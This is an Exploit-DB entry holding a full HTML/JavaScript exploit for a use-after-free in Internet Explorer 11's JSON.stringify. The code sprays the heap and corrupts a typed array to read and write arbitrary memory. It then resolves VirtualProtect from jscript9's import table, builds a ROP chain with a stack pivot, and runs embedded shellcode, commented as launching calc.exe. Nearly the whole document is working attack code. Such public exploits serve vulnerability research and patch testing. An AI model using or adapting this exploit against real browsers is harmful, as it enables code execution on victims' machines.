Microsoft Internet Explorer 11 - javascript Code Execution

EDB-ID:

44743


Author:

checkpoint

Type:

local


Platform:

Windows

Date:

2016-02-01


<html>
<body>
<script>
ARR_SIZE = 3248;
first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];
stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];
first_gadget = [0x89, 0x41, 0x0c, 0xc3];
stackpivot_gadget = [0x94, 0xc3];
gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};

function empty_replacer(a,b) {
    return b;
}

function create_list(lst, depth) {
    if (depth > 5)
    {
        return;
    }
    else
    {
        // Creates 19 objects in each nested list
        for (i = 0; i <= 19; i++)
        {
            // Create random string with length 8
            for (var val = "", c = 0; c <= 8; c++) {
                rnd = Math.floor((Math.random() * 90) + 48);
                l = String.fromCharCode(rnd);
                val = val + l;
            }
            lst["a" + i] = val;
        }
        create_list(lst["a0"] = {}, depth + 1);
    }
}

function create_triggering_json() {
    var lst = {}
    create_list(lst, 0);
    return lst;
}

// Create vulnerable JSON
trig_json = create_triggering_json();

spray = new Array(4096);
buff = new ArrayBuffer(4);
size = 0;

// Heap Spray
var I = setInterval(function(){     
    for (i=0;i<400;i++,size++) {
        spray[size] = new Array(15352);
        for (j = 0; j< 85;j++) {
            spray[size][j] = new Uint32Array(buff);
        }
        0 == i && (yb = spray[0][0]["length"], yb["toString"](16))
    }
    
    size >= (4096) && (clearInterval(I), uaf())    
}, 100);

var arr = []
function uaf()
{
    JSON.stringify(trig_json,empty_replacer);
    
    var pattern = [311357464,311357472,311357464];  
    for (var b = 3248 * 2, c = 203; c < b; c++)
        arr[c] = new ArrayBuffer(12);
        
    for (c = 203; c < b; c++)
    {
        var data = new Uint32Array(arr[c],0);
        a = 0;
        for (var i = data["length"] / pattern["length"]; a < i; a++)
            for (var d=0, e = pattern["length"]; d < e;d++) 
                data[a+d] = pattern[d];

    }

    CollectGarbage();

    search_corrupted_array();
}

var damaged_array;
function search_corrupted_array()
{
    for (i=0;i<4096;i++) 
    {
        for (j = 0; j< 85;j++) {
            if (spray[i][j].length != 1)
            {
                damaged_array = spray[i][j];
                damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space
                damaged_array[2] = 0x10000;
                
                write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later
                for (k = 0; k < 4096; k++) { // find the marked array
                    if (spray[k][0] == 0xDEC0DE) {
                        break;
                    }
                }
                // now spray[k][0] is 0x128e0020
                if (k == 4096) break;
                spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028
                spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray
                arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object
                jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address
                vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub
                if (vp_addr == 0) break;
                arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain
                spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020
                rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object
                rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above
                var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];
				var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode
                spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024
                sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode
                sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself
                construct_gadget_dict(damaged_array, jscript9_base_addr);
                
                // construct the ROP chain
                spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret
                spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret
                spray[k][0][2] = vp_addr; // VirtualProtectStub pointer
                spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)
                spray[k][0][4] = sc_data; // lpAddress
                spray[k][0][5] = spray[k][1].length; // dwSize
                spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE
                spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect
                spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top
                write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain
                spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget
            }
        }
    }
}

function get_index_from_addr(addr) {
    return Math.floor((addr - 0x10000) / 4);
}

function get_iat_offset(arr, js9_base) {
    return 0x3e6000;
}

function get_pe_header_offset(arr, js9_base) {
    var offset = read_dword_from_addr(arr, js9_base + 0x3c);
    return offset;
}

function get_import_table_offset(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80);
    return import_table_offset;
}

function get_import_table_size(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_size = read_dword_from_addr(arr, pe_header + 0x84);
    return import_table_size;
}

function get_vp_addr(arr, js9_base) {
    var kernel32_entry = get_kernel32_entry(arr, js9_base);
    var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc);
    var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4);
    var func_name = new String();
    for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) {
        func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2);
        if (func_name.indexOf("VirtualProtect") > -1) {
            return read_dword_from_addr(arr, fptr);
        }
    }
    return 0;
}

function get_kernel32_entry(arr, js9_base) {
    var it_addr = js9_base + get_import_table_offset(arr, js9_base);
    var it_size = get_import_table_size(arr, js9_base);
    var s = new String();
    for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) {
        var it_entry = read_dword_from_addr(arr, next_addr);
        if (it_entry != 0) {
            s = read_string_from_addr(arr, js9_base + it_entry);
            if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) {
                return next_addr;
            }
        }
    }
    return 0;
}

function read_dword_from_addr(arr, addr) {
    return arr[get_index_from_addr(addr)];
}

function read_byte_from_addr(arr, addr) {
    var mod = addr % 4;
    var ui32 = read_dword_from_addr(arr, addr);
    return ((ui32 >> (mod * 8)) & 0x000000ff);
    
}

function read_string_from_addr(arr, addr) {
    var s = new String();
    var i = 0;
    for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) {
        c = String.fromCharCode(read_byte_from_addr(arr, i));
        s += c;
    }
    return s;
}

function write_dword_to_addr(arr, addr, data) {
    arr[get_index_from_addr(addr)] = data;
}

function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) {
    var first_dword = 0x0, second_dword = 0x0, g = 0;
    var gadget_candidate = [];
    for (g = 0; g < offsets.length; g++) {
        first_dword = read_dword_from_addr(arr, js9_base + offsets[g]);
        second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4);
        
        gadget_candidate = convert_reverse_ui32_to_array(first_dword);
        gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword));
        
        if (contains_gadget(gadget_candidate, gadget)) {
            gadget_offsets[gadget_key] = offsets[g];
            break;
        }
    }
}

function construct_gadget_dict(arr, js9_base) {
    find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1");
    find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot");
    if (gadget_offsets["stackpivot"] > 0) {
        gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1;
    }
}

function contains_gadget(arr, sub) {
    var i = 0;
    for (i = 0; i < sub.length; i++) {
        if (arr.indexOf(sub[i]) == -1) return false;
    }
    return true;
}

function convert_reverse_ui32_to_array(ui32) {
    var arr = [];
    var i = 0;
    var tmp = ui32;
    for (i = 0; i < 4; i++, tmp = tmp >> 8) {
        arr.push(tmp & 0x000000ff);
    }
    return arr;
}
</script>
</body>
</html>